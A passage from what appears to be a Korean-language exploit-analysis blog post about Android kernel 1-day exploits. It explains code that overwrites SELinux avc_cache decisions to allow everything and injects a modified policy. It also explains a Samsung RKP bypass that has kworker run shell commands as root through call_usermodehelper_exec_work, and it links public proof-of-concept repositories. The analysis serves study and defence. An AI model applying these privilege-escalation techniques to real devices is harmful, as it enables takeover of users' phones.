class="mi">0</span><span class="p">;</span> + + <span class="k">for</span><span class="p">(</span><span class="kt">int32_t</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="n">AVC_CACHE_SLOTS</span><span class="p">;</span> <span class="n">i</span><span class="o">++</span><span class="p">)</span> + <span class="p">{</span> + <span class="n">pAvcCacheSlot</span> <span class="o">=</span> <span class="n">kernel_read_ulong</span><span class="p">(</span><span class="n">pAvcCache</span> <span class="o">+</span> <span class="n">i</span><span class="o">*</span><span class="k">sizeof</span><span class="p">(</span><span class="kt">uint64_t</span><span class="p">));</span> + + <span class="k">while</span><span class="p">(</span><span class="mi">0</span> <span class="o">!=</span> <span class="n">pAvcCacheSlot</span><span class="p">)</span> + <span class="p">{</span> + <span class="n">pAvcDescision</span> <span class="o">=</span> <span class="n">pAvcCacheSlot</span> <span class="o">-</span> <span class="n">DECISION_AVC_CACHE_OFFSET</span><span class="p">;</span> + + <span class="k">if</span><span class="p">(</span><span class="k">sizeof</span><span class="p">(</span><span class="kt">uint32_t</span><span class="p">)</span> <span class="o">!=</span> <span class="n">kernel_write_uint</span><span class="p">(</span><span class="n">pAvcDescision</span><span class="p">,</span> <span class="n">AVC_DECISION_ALLOWALL</span><span class="p">))</span> + <span class="p">{</span> + <span class="n">printf</span><span class="p">(</span><span class="s">"[-] failed to overwrite avc_cache decision!</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span> + <span class="k">goto</span> <span class="n">done</span><span class="p">;</span> + <span class="p">}</span> + + <span class="n">pAvcCacheSlot</span> <span class="o">=</span> <span class="n">kernel_read_ulong</span><span class="p">(</span><span class="n">pAvcCacheSlot</span><span class="p">);</span> + <span class="p">}</span> + <span class="p">}</span> + + <span class="n">iRet</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> + +<span class="nl">done:</span> + + <span class="k">return</span> <span class="n">iRet</span><span class="p">;</span> +<span class="p">}</span> +</code></pre></div></div> + +<ul> + <li>line 9 : avc_cache.slots에 있는 hlist를 읽어온다. 그렇게 되면 pAvcCacheSlot은 같은 같은 hash를 가진 avc_node의 list 주소가 된다.</li> + <li>line 11 ~ 22 (while): avc_cache.slots는 hlist로 연결되어 있기 때문에 다음 연결된 node로 전환하면서 더 이상 node가 없을 때 까지 while을 반복한다. + <ul> + <li>그림 9 참고</li> + </ul> + </li> + <li>line 13 : avc_node에 descision 위치의 값에 <code class="language-plaintext highlighter-rouge">AVC_DECISION_ALLOWALL</code>를 write한다. + <ul> + <li> + <p>avc_node.avd은 avc_node.list보다 위에 존재하기 때문에 그 offset만큼 빼서 구한다.</p> + + <p><img src="/assets/2024-03-11-Android-1day-Exploit-Analysis/android11.png" alt="그림 11. node.avd = pAvcCacheSlot - DECISION_AVC_CACHE_OFFSET" /></p> + </li> + </ul> + </li> + <li>line 21 : 연결된 다음 avc_node로 넘어간다.</li> +</ul> + +<p><br /></p> + +<p>위 과정을 거치면 결국 <code class="language-plaintext highlighter-rouge">avc_cache.slots</code>에 있는 모든 avc_node의 decision이 <code class="language-plaintext highlighter-rouge">AVC_DECISION_ALLOWALL</code> 값으로 overwrite 된다.</p> + +<p><br /> +<br /></p> + +<p>이를 적용하여 실제로 SELinux를 bypass하는 과정을 처음부터 보면 아래와 같이 이루어진다.</p> + +<ol> + <li> + <p>avc_cache 주소를 구한다</p> + + <div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code> <span class="n">pAvcCache</span> <span class="o">=</span> <span class="n">get_kernel_sym_addr</span><span class="p">(</span><span class="s">"avc_cache"</span><span class="p">);</span> +</code></pre></div> </div> + </li> + <li> + <p>/sys/fs/selinux/policy 파일을 읽는다. (selinux policy 위치에 따라 파일 위치는 변할 수 있다.)</p> + + <div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code> <span class="n">iPolFd</span> <span class="o">=</span> <span class="n">open</span><span class="p">(</span><span class="s">"/sys/fs/selinux/policy"</span><span class="p">,</span> <span class="n">O_RDONLY</span><span class="p">);</span> +</code></pre></div> </div> + </li> + <li> + <p>fstat을 이용하여 파일 정보를 얻는다.</p> + + <div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code> <span class="n">fstat</span><span class="p">(</span><span class="n">iPolFd</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">statbuff</span><span class="p">)</span> +</code></pre></div> </div> + </li> + <li> + <p>avc_cache의 descision 주소를 구해서 overwrite한다.</p> + + <div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code> <span class="n">overwrite_avc_cache</span><span class="p">(</span><span class="n">pAvcCache</span><span class="p">)</span> +</code></pre></div> </div> + </li> + <li> + <p>mmap을 통해 selinux 파일 매핑 후, policyFile 구조체 세팅한다</p> + + <div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code> <span class="n">pPolicyMap</span> <span class="o">=</span> <span class="n">mmap</span><span class="p">(</span><span class="nb">NULL</span><span class="p">,</span> <span class="n">statbuff</span><span class="p">.</span><span class="n">st_size</span><span class="p">,</span> <span class="n">PROT_READ</span> <span class="o">|</span> <span class="n">PROT_WRITE</span><span class="p">,</span> <span class="n">MAP_PRIVATE</span><span class="p">,</span> <span class="n">iPolFd</span><span class="p">,</span> <span class="mi">0</span><span class="p">);</span> + + <span class="n">pPolicyFile</span><span class="o">-&gt;</span><span class="n">type</span> <span class="o">=</span> <span class="n">PF_USE_MEMORY</span><span class="p">;</span> + <span class="n">pPolicyFile</span><span class="o">-&gt;</span><span class="n">data</span> <span class="o">=</span> <span class="n">pPolicyMap</span><span class="p">;</span> + <span class="n">pPolicyFile</span><span class="o">-&gt;</span><span class="n">len</span> <span class="o">=</span> <span class="n">statbuff</span><span class="p">.</span><span class="n">st_size</span><span class="p">;</span> +</code></pre></div> </div> + </li> + <li> + <p>SE policy를 read한다</p> + + <div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code> <span class="n">policydb_init</span><span class="p">(</span><span class="n">pPolicyDb</span><span class="p">)</span> + <span class="n">policydb_read</span><span class="p">(</span><span class="n">pPolicyDb</span><span class="p">,</span> <span class="n">pPolicyFile</span><span class="p">,</span> <span class="n">SEPOL_NOT_VERBOSE</span><span class="p">)</span> +</code></pre></div> </div> + </li> + <li> + <p>앞서 overwrite한 avc_cache를 selinux policy에 삽입하고 커널에 적용한다</p> + + <div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code> <span class="n">add_rules_to_sepolicy</span><span class="p">(</span><span class="n">pAvcCache</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">policydb</span><span class="p">)</span> + <span class="c1">//...</span> + <span class="n">inject_sepolicy</span><span class="p">(</span><span class="n">pAvcCache</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">policydb</span><span class="p">)</span> +</code></pre></div> </div> + </li> +</ol> + +<p>자세한 코드는 아래 링크의 전체 exploit부분을 참고하면 알 수 있다.</p> + +<p><a href="https://github.com/chompie1337/s8_2019_2215_poc/tree/master/poc">https://github.com/chompie1337/s8_2019_2215_poc/tree/master/poc</a></p> + +<p><br /> +<br /></p> + +<h2 id="55-bypass-rkp">5.5 Bypass RKP</h2> + +<p>samsung에서 제공하는 RKP는 android kernel 공격을 막을 수 있는 다양한 보호 기법을 제공한다. 기존에 kernel exploit에 사용되었던 방법인 task_struct의 cred를 overwrite하는 방법은 RKP가 task_struct에 write하는 것을 막음으로서 사용할 수 없게 되었다.</p> + +<p>하지만 해커들은 RKP를 우회하여 root권한으로 코드를 실행하는 방법을 발견해 내었다.</p> + +<p>이 챕터에서는 아래 링크에서 소개한 exploit 방법을 기반으로 분석을 진행한다.</p> + +<ul> + <li><a href="https://github.com/github/securitylab/tree/main/SecurityExploits/Android/Qualcomm/CVE-2022-22057">https://github.com/github/securitylab/tree/main/SecurityExploits/Android/Qualcomm/CVE-2022-22057</a></li> +</ul> + +<p><br /></p> + +<h3 id="551-using-call_usermodehelper_exec_work">5.5.1 Using call_usermodehelper_exec_work</h3> + +<p>이 exploit에서는 system권한으로 수행되는 workqueue에 call_usermodehelper_exec_work함수를 추가하여 kworker가 해당 함수를 root 권한으로 실행시키는 방법으로 RKP를 우회한다.</p> + +<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>// workqueue by system permissions +ffffffc012c8f7e0 D system_wq +ffffffc012c8f7e8 D system_highpri_wq +ffffffc012c8f7f0 D system_long_wq +ffffffc012c8f7f8 D system_unbound_wq +ffffffc012c8f800 D system_freezable_wq +ffffffc012c8f808 D system_power_efficient_wq +ffffffc012c8f810 D system_freezable_power_efficient_wq +</code></pre></div></div> + +<p><br /></p> + +<p>위에서 사용되는 <code class="language-plaintext highlighter-rouge">call_usermodehelper_exec_work</code> 함수를 살펴본다.</p> + +<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// /kernel/kmod.c</span> +<span class="k">static</span> <span class="kt">void</span> <span class="nf">call_usermodehelper_exec_work</span><span class="p">(</span><span class="k">struct</span> <span class="n">work_struct</span> <span class="o">*</span><span class="n">work</span><span class="p">)</span> +<span class="p">{</span> + <span class="k">struct</span> <span class="n">subprocess_info</span> <span class="o">*</span><span class="n">sub_info</span> <span class="o">=</span> + <span class="n">container_of</span><span class="p">(</span><span class="n">work</span><span class="p">,</span> <span class="k">struct</span> <span class="n">subprocess_info</span><span class="p">,</span> <span class="n">work</span><span class="p">);</span> + + <span class="k">if</span> <span class="p">(</span><span class="n">sub_info</span><span class="o">-&gt;</span><span class="n">wait</span> <span class="o">&amp;</span> <span class="n">UMH_WAIT_PROC</span><span class="p">)</span> <span class="p">{</span> + <span class="n">call_usermodehelper_exec_sync</span><span class="p">(</span><span class="n">sub_info</span><span class="p">);</span> + <span class="p">}</span> <span class="k">else</span> <span class="p">{</span> + <span class="n">pid_t</span> <span class="n">pid</span><span class="p">;</span> + <span class="cm">/* + * Use CLONE_PARENT to reparent it to kthreadd; we do not + * want to pollute current-&gt;children, and we need a parent + * that always ignores SIGCHLD to ensure auto-reaping. + */</span> + <span class="n">pid</span> <span class="o">=</span> <span class="n">kernel_thread</span><span class="p">(</span><span class="n">call_usermodehelper_exec_async</span><span class="p">,</span> <span class="n">sub_info</span><span class="p">,</span> + <span class="n">CLONE_PARENT</span> <span class="o">|</span> <span class="n">SIGCHLD</span><span class="p">);</span> + <span class="k">if</span> <span class="p">(</span><span class="n">pid</span> <span class="o">&lt;</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span> + <span class="n">sub_info</span><span class="o">-&gt;</span><span class="n">retval</span> <span class="o">=</span> <span class="n">pid</span><span class="p">;</span> + <span class="n">umh_complete</span><span class="p">(</span><span class="n">sub_info</span><span class="p">);</span> + <span class="p">}</span> + <span class="p">}</span> +<span class="p">}</span> +</code></pre></div></div> + +<ul> + <li><code class="language-plaintext highlighter-rouge">call_usermodehelper_exec_work</code> 함수는 shell command를 받아서 실행한다.</li> + <li> + <p><code class="language-plaintext highlighter-rouge">call_usermodehelper_exec_sync</code> → <code class="language-plaintext highlighter-rouge">call_usermodehelper_exec_async</code> 함수 순으로 실행이 되고 결국 <code class="language-plaintext highlighter-rouge">do_execve</code> 함수를 통해 shell command를 실행할 수 있다.</p> + + <div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code> <span class="c1">// /kernel/kmod.c</span> + <span class="k">static</span> <span class="kt">int</span> <span class="nf">call_usermodehelper_exec_async</span><span class="p">(</span><span class="kt">void</span> <span class="o">*</span><span class="n">data</span><span class="p">)</span> + <span class="p">{</span> + <span class="k">struct</span> <span class="n">subprocess_info</span> <span class="o">*</span><span class="n">sub_info</span> <span class="o">=</span> <span class="n">data</span><span class="p">;</span> + <span class="k">struct</span> <span class="n">cred</span> <span class="o">*</span><span class="n">new</span><span class="p">;</span> + <span class="kt">int</span> <span class="n">retval</span><span class="p">;</span> + + <span class="n">set_user_nice</span><span class="p">(</span><span class="n">current</span><span class="p">,</span> <span class="mi">0</span><span class="p">);</span> + + <span class="n">retval</span> <span class="o">=</span> <span class="o">-</span><span class="n">ENOMEM</span><span class="p">;</span> + <span class="n">new</span> <span class="o">=</span> <span class="n">prepare_kernel_cred</span><span class="p">(</span><span class="n">current</span><span class="p">);</span> + <span class="c1">//[...]</span> + + <span class="n">commit_creds</span><span class="p">(</span><span class="n">new</span><span class="p">);</span> + + <span class="n">retval</span> <span class="o">=</span> <span class="n">do_execve</span><span class="p">(</span><span class="n">getname_kernel</span><span class="p">(</span><span class="n">sub_info</span><span class="o">-&gt;</span><span class="n">path</span><span class="p">),</span> + <span class="p">(</span><span class="k">const</span> <span class="kt">char</span> <span class="n">__user</span> <span class="o">*</span><span class="k">const</span> <span class="n">__user</span> <span class="o">*</span><span class="p">)</span><span class="n">sub_info</span><span class="o">-&gt;</span><span class="n">argv</span><span class="p">,</span> + <span class="p">(</span><span class="k">const</span> <span class="kt">char</span> <span class="n">__user</span> <span class="o">*</span><span class="k">const</span> <span class="n">__user</span> <span class="o">*</span><span class="p">)</span><span class="n">sub_info</span><span class="o">-&gt;</span><span class="n">envp</span><span class="p">);</span> + <span class="c1">//[...]</span> + <span class="p">}</span> +</code></pre></div> </div> + </li> + <li>즉 <code class="language-plaintext highlighter-rouge">call_usermodehelper_exec_work</code> 함수를 위에서 언급한 <code class="language-plaintext highlighter-rouge">workqueue</code>에 삽입하면 kworker가 이 함수와 연결된 <code class="language-plaintext highlighter-rouge">work_struct</code>를 실행할 때, 원하는 shell code를 실행시킬 수 있게 된다.</li> +</ul> + +<p><br /></p> + +<p>지금부터는 <code class="language-plaintext highlighter-rouge">call_usermodehelper_exec_work</code> 함수를 <code class="language-plaintext highlighter-rouge">workqueue</code>에 연결하여 호출하기 위해 <code class="language-plaintext highlighter-rouge">kworker</code>와 <code class="language-plaintext highlighter-rouge">workqueue_struct</code>, <code class="language-plaintext highlighter-rouge">work_struct</code>의 연결 관계에 대해서 살펴본다.</p> + +<p><br /></p> + +<h3 id="552-insert-work-into-workqueue">5.5.2 insert work into workqueue</h3> + +<p><code class="language-plaintext highlighter-rouge">call_usermodehelper_exec_work</code> 함수를 <code class="language-plaintext highlighter-rouge">kworker</code>가 실행시키도록 하는 방법을 알기 위해, 먼저 <code class="language-plaintext highlighter-rouge">work_struct</code>를 <code class="language-plaintext highlighter-rouge">workqueue_struct</code>에 추가하는 작업을 분석한다.</p> + +<p><br /></p> + +<p><code class="language-plaintext highlighter-rouge">workqueue_struct</code>에 <code class="language-plaintext highlighter-rouge">work_struct</code>를 추가할 때는 <code class="language-plaintext highlighter-rouge">queue_work</code>함수를 이용하여 수행한다.</p> + +<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">//example</span> +<span class="n">ret</span> <span class="o">=</span> <span class="n">queue_work</span><span class="p">(</span><span class="n">workqueue_struct</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">work_struct</span><span class="p">);</span> +</code></pre></div></div> + +<p><br /></p> + +<p>queue_work함수의 내부 control flow를 따라 들어가면 아래와 같다.</p> + +<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// /include/linux/workqueue.h</span> +<span class="k">static</span> <span class="kr">inline</span> <span class="n">bool</span> <span class="nf">queue_work</span><span class="p">(</span><span class="k">struct</span> <span class="n">workqueue_struct</span> <span class="o">*</span><span class="n">wq</span><span class="p">,</span> + <span class="k">struct</span> <span class="n">work_struct</span> <span class="o">*</span><span class="n">work</span><span class="p">)</span> +<span class="p">{</span> + <span class="k">return</span> <span class="n">queue_work_on</span><span class="p">(</span><span class="n">WORK_CPU_UNBOUND</span><span class="p">,</span> <span class="n">wq</span><span class="p">,</span> <span class="n">work</span><span class="p">);</span> +<span class="p">}</span> + +<span class="c1">// /kernel/workqueue.c</span> +<span class="n">bool</span> <span class="nf">queue_work_on</span><span class="p">(</span><span class="kt">int</span> <span class="n">cpu</span><span class="p">,</span> <span class="k">struct</span> <span class="n">workqueue_struct</span> <span class="o">*</span><span class="n">wq</span><span class="p">,</span> + <span class="k">struct</span> <span class="n">work_struct</span> <span class="o">*</span><span class="n">work</span><span class="p">)</span> +<span class="p">{</span> + <span class="c1">//[...]</span> + <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">test_and_set_bit</span><span class="p">(</span><span class="n">WORK_STRUCT_PENDING_BIT</span><span class="p">,</span> <span class="n">work_data_bits</span><span class="p">(</span><span class="n">work</span><span class="p">)))</span> <span class="p">{</span> + <span class="n">__queue_work</span><span class="p">(</span><span class="n">cpu</span><span class="p">,</span> <span class="n">wq</span><span class="p">,</span> <span class="n">work</span><span class="p">);</span> + <span class="n">ret</span> <span class="o">=</span> <span class="nb">true</span><span class="p">;</span> + <span class="p">}</span> + <span class="c1">//[...]</span> +<span class="p">}</span> + +<span class="c1">// /kernel/workqueue.c</span> +<span class="k">static</span> <span class="kt">void</span> <span class="nf">__queue_work</span><span class="p">(</span><span class="kt">int</span> <span class="n">cpu</span><span class="p">,</span> <span class="k">struct</span> <span class="n">workqueue_struct</span> <span class="o">*</span><span class="n">wq</span><span class="p">,</span> + <span class="k">struct</span> <span class="n">work_struct</span> <span class="o">*</span><span class="n">work</span><span class="p">)</span> +<span class="p">{</span> + <span class="k">struct</span> <span class="n">pool_workqueue</span> <span class="o">*</span><span class="n">pwq</span><span class="p">;</span> + <span class="k">struct</span> <span class="n">worker_pool</span> <span class="o">*</span><span class="n">last_pool</span><span class="p">;</span> + <span class="k">struct</span> <span class="n">list_head</span> <span class="o">*</span><span class="n">worklist</span><span class="p">;</span> + <span class="kt">unsigned</span> <span class="kt">int</span> <span class="n">work_flags</span><span class="p">;</span> + <span class="kt">unsigned</span> <span class="kt">int</span> <span class="n">req_cpu</span> <span class="o">=</span> <span class="n">cpu</span><span class="p">;</span> + + <span class="c1">// [...]</span> + + <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="p">(</span><span class="n">wq</span><span class="o">-&gt;</span><span class="n">flags</span> <span class="o">&amp;</span> <span class="n">WQ_UNBOUND</span><span class="p">))</span> + <span class="n">pwq</span> <span class="o">=</span> <span class="n">per_cpu_ptr</span><span class="p">(</span><span class="n">wq</span><span class="o">-&gt;</span><span class="n">cpu_pwqs</span><span class="p">,</span> <span class="n">cpu</span><span class="p">);</span> + <span class="k">else</span> + <span class="n">pwq</span> <span class="o">=</span> <span class="n">unbound_pwq_by_node</span><span class="p">(</span><span class="n">wq</span><span class="p">,</span> <span class="n">cpu_to_node</span><span class="p">(</span><span class="n">cpu</span><span class="p">));</span> + + <span class="n">last_pool</span> <span class="o">=</span> <span class="n">get_work_pool</span><span class="p">(</span><span class="n">work</span><span class="p">);</span> + <span class="k">if</span> <span class="p">(</span><span class="n">last_pool</span> <span class="o">&amp;&amp;</span> <span class="n">last_pool</span> <span class="o">!=</span> <span class="n">pwq</span><span class="o">-&gt;</span><span class="n">pool</span><span class="p">)</span> <span class="p">{</span> + <span class="k">struct</span> <span class="n">worker</span> <span class="o">*</span><span class="n">worker</span><span class="p">;</span> + + <span class="n">spin_lock</span><span class="p">(</span><span class="o">&amp;</span><span class="n">last_pool</span><span class="o">-&gt;</span><span class="n">lock</span><span class="p">);</span> + + <span class="n">worker</span> <span class="o">=</span> <span class="n">find_worker_executing_work</span><span class="p">(</span><span class="n">last_pool</span><span class="p">,</span> <span class="n">work</span><span class="p">);</span> + + <span class="k">if</span> <span class="p">(</span><span class="n">worker</span> <span class="o">&amp;&amp;</span> <span class="n">worker</span><span class="o">-&gt;</span><span class="n">current_pwq</span><span class="o">-&gt;</span><span class="n">wq</span> <span class="o">==</span> <span class="n">wq</span><span class="p">)</span> <span class="p">{</span> + <span class="n">pwq</span> <span class="o">=</span> <span class="n">worker</span><span class="o">-&gt;</span><span class="n">current_pwq</span><span class="p">;</span> + <span class="p">}</span> + <span class="c1">//[...]</span> + <span class="p">}</span> + <span class="c1">//[...]</span> + <span class="k">if</span> <span class="p">(</span><span class="n">likely</span><span class="p">(</span><span class="n">pwq</span><span class="o">-&gt;</span><span class="n">nr_active</span> <span class="o">&lt;</span> <span class="n">pwq</span><span class="o">-&gt;</span><span class="n">max_active</span><span class="p">))</span> <span class="p">{</span> + <span class="n">trace_workqueue_activate_work</span><span class="p">(</span><span class="n">work</span><span class="p">);</span> + <span class="n">pwq</span><span class="o">-&gt;</span><span class="n">nr_active</span><span class="o">++</span><span class="p">;</span> + <span class="n">worklist</span> <span class="o">=</span> <span class="o">&amp;</span><span class="n">pwq</span><span class="o">-&gt;</span><span class="n">pool</span><span class="o">-&gt;</span><span class="n">worklist</span><span class="p">;</span> + <span class="p">}</span> <span class="k">else</span> <span class="p">{</span> + <span class="n">work_flags</span> <span class="o">|=</span> <span class="n">WORK_STRUCT_DELAYED</span><span class="p">;</span> + <span class="n">worklist</span> <span class="o">=</span> <span class="o">&amp;</span><span class="n">pwq</span><span class="o">-&gt;</span><span class="n">delayed_works</span><span class="p">;</span> + <span class="p">}</span> + + <span class="n">insert_work</span><span class="p">(</span><span class="n">pwq</span><span class="p">,</span> <span class="n">work</span><span class="p">,</span> <span class="n">worklist</span><span class="p">,</span> <span class="n">work_flags</span><span class="p">);</span> + + <span class="n">spin_unlock</span><span class="p">(</span><span class="o">&amp;</span><span class="n">pwq</span><span class="o">-&gt;</span><span class="n">pool</span><span class="o">-&gt;</span><span class="n">lock</span><span class="p">);</span> +<span class="p">}</span> +</code></pre></div></div> + +<ul> + <li> + <p>line 33 ~ 35 : cpu 별로 연결되어 있는 pool_workqueue 구조체 포인터를 pwq에 가져온다</p> + + <p><img src="/assets/2024-03-11-Android-1day-Exploit-Analysis/android12.png" alt="그림 12. workqueue_struct 와 pool_workqueue 의 연결" /></p> + </li> + <li>line 37 : <code class="language-plaintext highlighter-rouge">work-&gt;data</code>를 기준으로 <code class="language-plaintext highlighter-rouge">pool_id</code>를 계산해서 해당하는 <code class="language-plaintext highlighter-rouge">worker_pool</code>을 <code class="language-plaintext highlighter-rouge">pool_workqueue</code>에서 찾아서 가져온다. + <ul> + <li> + <p><code class="language-plaintext highlighter-rouge">get_work_pool</code> : 인자로 주어진 work가 가리키는 worker_pool을 가져온다</p> + + <div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code> <span class="c1">// /kernel/workqueue.c</span> + <span class="k">static</span> <span class="k">struct</span> <span class="n">worker_pool</span> <span class="o">*</span><span class="nf">get_work_pool</span><span class="p">(</span><span class="k">struct</span> <span class="n">work_struct</span> <span class="o">*</span><span class="n">work</span><span class="p">)</span> + <span class="p">{</span> + <span class="kt">unsigned</span> <span class="kt">long</span> <span class="n">data</span> <span class="o">=</span> <span class="n">atomic_long_read</span><span class="p">(</span><span class="o">&amp;</span><span class="n">work</span><span class="o">-&gt;</span><span class="n">data</span><span class="p">);</span> + <span class="kt">int</span> <span class="n">pool_id</span><span class="p">;</span> + + <span class="n">assert_rcu_or_pool_mutex</span><span class="p">();</span> + + <span class="k">if</span> <span class="p">(</span><span class="n">data</span> <span class="o">&amp;</span> <span class="n">WORK_STRUCT_PWQ</span><span class="p">)</span> + <span class="k">return</span> <span class="p">((</span><span class="k">struct</span> <span class="n">pool_workqueue</span> <span class="o">*</span><span class="p">)</span> + <span class="p">(</span><span class="n">data</span> <span class="o">&amp;</span> <span class="n">WORK_STRUCT_WQ_DATA_MASK</span><span class="p">))</span><span class="o">-&gt;</span><span class="n">pool</span><span class="p">;</span> + + <span class="n">pool_id</span> <span class="o">=</span> <span class="n">data</span> <span class="o">&gt;&gt;</span> <span class="n">WORK_OFFQ_POOL_SHIFT</span><span class="p">;</span> + <span class="k">if</span> <span class="p">(</span><span class="n">pool_id</span> <span class="o">==</span> <span class="n">WORK_OFFQ_POOL_NONE</span><span class="p">)</span> + <span class="k">return</span> <span class="nb">NULL</span><span class="p">;</span> + + <span class="k">return</span> <span class="n">idr_find</span><span class="p">(</span><span class="o">&amp;</span><span class="n">worker_pool_idr</span><span class="p">,</span> <span class="n">pool_id</span><span class="p">);</span> + <span class="p">}</span> +</code></pre></div> </div> + + <p><img src="/assets/2024-03-11-Android-1day-Exploit-Analysis/android13.png" alt="그림 13. work_struct가 pool_workqueue를 찾는 방법" /></p> + </li> + </ul> + </li> + <li>line 38 : 찾은 <code class="language-plaintext highlighter-rouge">worker_pool</code>이 우리가 앞서 구한 <code class="language-plaintext highlighter-rouge">pool_workqueue(pwq)</code>에 연결된 게 아니라면, 즉 다른 <code class="language-plaintext highlighter-rouge">pool_workerqueue</code> 구조체에 연결되어 있다면, + <ul> + <li> + <p>line 43 : <code class="language-plaintext highlighter-rouge">find_worker_executing_work(last_pool, work)</code>를 통해 last_poll에 연결된 worker중에 우리가 찾는 <code class="language-plaintext highlighter-rouge">work</code>를 담당하는 <code class="language-plaintext highlighter-rouge">worker</code>를 찾는다.</p> + + <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code> // /kernel/workqueue.c + static struct worker *find_worker_executing_work(struct worker_pool *pool, + struct work_struct *work) + { + struct worker *worker; + + hash_for_each_possible(pool-&gt;busy_hash, worker, hentry, + (unsigned long)work) + if (worker-&gt;current_work == work &amp;&amp; + worker-&gt;current_func == work-&gt;func) + return worker; + + return NULL; + } +</code></pre></div> </div> + </li> + <li> + <p>line 46 : 앞서 찾은 <code class="language-plaintext highlighter-rouge">worker-&gt;current_pwq</code>를 <code class="language-plaintext highlighter-rouge">pwq</code>로 세팅한다.</p> + + <p><img src="/assets/2024-03-11-Android-1day-Exploit-Analysis/android14.png" alt="그림 14. worker에서 사용하는 올바른 pool_workqueue를 찾는 과정" /></p> + </li> + </ul> + </li> + <li>line 50 : 맞으면 그냥 그대로 진행</li> + <li>line 51~58 : <code class="language-plaintext highlighter-rouge">pwq-&gt;pool-&gt;worklist</code> 혹은 <code class="language-plaintext highlighter-rouge">pwq-&gt;delayed_works</code> 를 <code class="language-plaintext highlighter-rouge">worklist</code>로 가져온다.</li> + <li>line 60 : <code class="language-plaintext highlighter-rouge">insert_work()</code>를 실행 + <ul> + <li><code class="language-plaintext highlighter-rouge">work-&gt;data</code>를 <code class="language-plaintext highlighter-rouge">pwq</code><pool_workqueue> 로 설정</pool_workqueue></li> + <li>앞서 구한 <code class="language-plaintext highlighter-rouge">worklist</code>에 work.entry 연결</li> + </ul> + + <p><img src="/assets/2024-03-11-Android-1day-Exploit-Analysis/android15.png" alt="그림 15. work_struct를 worker_pool.worklist에 삽입" /></p> + </li> +</ul> + +<p><br /></p> + +<p>workqueue에 work를 추가하는 과정을 정리하면 아래와 같다.</p> + +<ol> + <li><code class="language-plaintext highlighter-rouge">workqueue</code>와 연결된 cpu의 첫 <code class="language-plaintext highlighter-rouge">pool_workqueue(pwq)</code> 구조체를 가져온다</li> + <li>추가하고 싶은 <code class="language-plaintext highlighter-rouge">work</code>의 <code class="language-plaintext highlighter-rouge">pool_id</code>를 가진 <code class="language-plaintext highlighter-rouge">worker_pool</code>을 <code class="language-plaintext highlighter-rouge">pool_workqueue</code>에서 찾는다.</li> + <li>2번에서 구한 <code class="language-plaintext highlighter-rouge">worker_pool</code>이 1번에서 구한 <code class="language-plaintext highlighter-rouge">pwq</code>가 아니라면, 구한 <code class="language-plaintext highlighter-rouge">worker_pool</code>에 연결된 <code class="language-plaintext highlighter-rouge">worker</code>중에 우리가 삽입할 <code class="language-plaintext highlighter-rouge">work</code>를 담당하는 <code class="language-plaintext highlighter-rouge">worker-&gt;current_pwq</code>를 가져온다.</li> + <li><code class="language-plaintext highlighter-rouge">pwq-&gt;pool-&gt;worklist</code>에 <code class="language-plaintext highlighter-rouge">work</code>를 insert한다.</li> +</ol> + +<p><br /></p> + +<h3 id="553-process_one_work">5.5.3 process_one_work</h3> + +<p>앞서 등록된 work는 kworker thread에 의하여 process_one_work함수에서 실행된다.</p> + +<p>process_one_work 함수를 살펴보면 다음과 같다.</p> + +<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// /kernel/workqueue.c</span> +<span class="k">static</span> <span class="kt">void</span> <span class="nf">process_one_work</span><span class="p">(</span><span class="k">struct</span> <span class="n">worker</span> <span class="o">*</span><span class="n">worker</span><span class="p">,</span> <span class="k">struct</span> <span class="n">work_struct</span> <span class="o">*</span><span class="n">work</span><span class="p">)</span> +<span class="n">__releases</span><span class="p">(</span><span class="o">&amp;</span><span class="n">pool</span><span class="o">-&gt;</span><span class="n">lock</span><span class="p">)</span> +<span class="n">__acquires</span><span class="p">(</span><span class="o">&amp;</span><span class="n">pool</span><span class="o">-&gt;</span><span class="n">lock</span><span class="p">)</span> +<span class="p">{</span> + <span class="k">struct</span> <span class="n">pool_workqueue</span> <span class="o">*</span><span class="n">pwq</span> <span class="o">=</span> <span class="n">get_work_pwq</span><span class="p">(</span><span class="n">work</span><span class="p">);</span> + <span class="k">struct</span> <span class="n">worker_pool</span> <span class="o">*</span><span class="n">pool</span> <span class="o">=</span> <span class="n">worker</span><span class="o">-&gt;</span><span class="n">pool</span><span class="p">;</span> + <span class="n">bool</span> <span class="n">cpu_intensive</span> <span class="o">=</span> <span class="n">pwq</span><span class="o">-&gt;</span><span class="n">wq</span><span class="o">-&gt;</span><span class="n">flags</span> <span class="o">&amp;</span> <span class="n">WQ_CPU_INTENSIVE</span><span class="p">;</span> + <span class="kt">int</span> <span class="n">work_color</span><span class="p">;</span> + <span class="k">struct</span> <span class="n">worker</span> <span class="o">*</span><span class="n">collision</span><span class="p">;</span> +<span class="cp">#ifdef CONFIG_LOCKDEP +</span> + <span class="c1">//[...]</span> + + <span class="n">debug_work_deactivate</span><span class="p">(</span><span class="n">work</span><span class="p">);</span> + <span class="n">hash_add</span><span class="p">(</span><span 